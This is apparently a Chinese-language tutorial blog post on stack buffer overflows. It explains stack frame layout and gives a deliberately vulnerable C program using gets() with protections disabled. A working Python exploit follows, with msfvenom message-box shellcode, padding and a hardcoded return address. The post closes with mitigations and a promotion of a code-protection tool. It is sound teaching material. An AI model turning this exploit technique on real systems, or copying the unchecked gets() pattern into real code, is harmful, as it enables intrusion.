栈溢出漏洞:从原理到实战利用

0 阅读6分钟

栈溢出漏洞:从原理到实战利用

栈(Stack)是用于存放函数的局部变量、参数、返回地址以及保存的寄存器值的一片内存区域。每次函数调用会在栈上创建一个栈帧。栈的生长方向是从高地址向低地址,但缓冲区内数据的写入方向是从低地址向高地址,这一特性正是栈溢出利用的根基。

漏洞原理

当程序调用函数时,需要保存返回地址以便被调用函数执行完后能返回到调用点继续执行。通常返回地址与局部变量、保存的寄存器值一起存放在栈帧中。当代码编写不规范时,没有检查局部变量缓冲区大小,可能导致用户输入内容覆盖到返回地址位置,如果用户输入精心构造的数据,会把返回地址修改成可被执行的 shellcode 地址,从而劫持程序控制流,引发安全问题。

栈帧的典型布局如下:

低地址
+------------------+
| 局部变量 |
| buffer[N] |
+------------------+
| 保存的 EBP |
+------------------+
| 返回地址 |
+------------------+
| 函数参数 |
+------------------+
高地址

漏洞复现

漏洞演示代码

编译时需要关掉的选项:

  1. ASLR
  2. Security Check(/GS)
  3. DEP
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

__declspec(noinline)
 void vulnerable() {
  char buffer[64]; 
  printf("[+] 缓冲区地址: 0x%p\n", buffer);

  gets(buffer);  

  printf("[+] 输入内容: %s\n", buffer);
}

int main() {
  printf("=== 栈溢出演示程序 ===\n");
  printf("[+] 按 Ctrl+C 退出\n");
  printf("[+] 输入超长字符串触发溢出\n\n");

  while (1) {
    vulnerable();
  }

  return 0;
}

Exploit

if __name__  == '__main__':

    shellcode =  b""
    shellcode += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52"
    shellcode += b"\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x31\xff\x8b"
    shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"
    shellcode += b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"
    shellcode += b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
    shellcode += b"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50"
    shellcode += b"\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01"
    shellcode += b"\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
    shellcode += b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"
    shellcode += b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
    shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
    shellcode += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"
    shellcode += b"\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75"
    shellcode += b"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c"
    shellcode += b"\x77\x26\x07\xff\xd5\x6a\x00\xe8\x06\x00\x00\x00"
    shellcode += b"\x50\x77\x6e\x65\x64\x00\xe8\x07\x00\x00\x00\x48"
    shellcode += b"\x61\x63\x6b\x65\x64\x00\x6a\x00\x68\x45\x83\x56"
    shellcode += b"\x07\xff\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5"

    padding = b'\xeb\x46' # jmp +0x48
    padding =  padding + b'A' * (62+4)      # 填充到返回地址位置
    ret_addr = b'\xe4\xee\x19\x00' 

    payload = padding + ret_addr   + b'\x90' * 0x10 + shellcode

    with open('payload.bin', 'wb') as f:
        f.write(payload)

shellcode 生成命令:msfvenom -p windows/messagebox TEXT="Hacked" TITLE="Pwned" -f py -a x86

执行命令:

stackoverflow.exe < payload.bin

效果图

image-20260103162104784.png

防护机制

ASLR

ASLR(地址空间布局随机化)使程序每次运行时栈、堆、动态库的加载地址随机化。攻击者无法预知 shellcode 或关键函数的确切地址,导致硬编码地址的攻击方式失效。

Stack Canary

Stack Canary 也叫 Security Cookie 或 Stack Guard。编译器在局部变量与返回地址之间插入一个随机值(Canary),函数返回前检查该值是否被篡改。若缓冲区溢出覆盖了返回地址,必然也会破坏 Canary,检测到后程序立即终止。

+------------------+
| 返回地址 |
+------------------+
| Canary | ← 被覆盖会触发检测
+------------------+
| 局部变量 |
+------------------+

DEP

DEP / NX(数据执行保护)将栈、堆等数据区域标记为不可执行。即使攻击者成功将 shellcode 写入栈上并跳转过去,CPU 也会拒绝执行并抛出异常。

程序防护方案

在实施栈溢出攻击前,攻击者通常需要通过静态分析(反汇编、反编译)定位危险函数与缓冲区位置,再通过动态调试确定栈布局、偏移量和返回地址。因此,阻止逆向分析是防御栈溢出攻击的有效手段之一,我们可以通过 Virbox Protector 去进行防护,该工具支持防止静态分析与防止动态调试。

防止静态分析:

  • 代码虚拟化:将核心函数转换为私有虚拟机指令集,反汇编工具无法还原原始逻辑
  • 代码混淆:通过控制流平坦化与虚假分支打散执行流程,增加分析复杂度
  • 代码加密:对代码段加密存储,运行时按需解密
  • 导入表保护:隐藏外部库函数依赖关系,防止攻击者定位危险函数(如 strcpy、gets)
  • 移除调试信息:清除符号表与函数名称,增加逆向难度

防止动态调试:

  • 调试器检测:识别调试器附加行为,检测到后终止运行或触发反制
  • 内存校验:运行时校验代码段完整性,防止断点注入与代码修改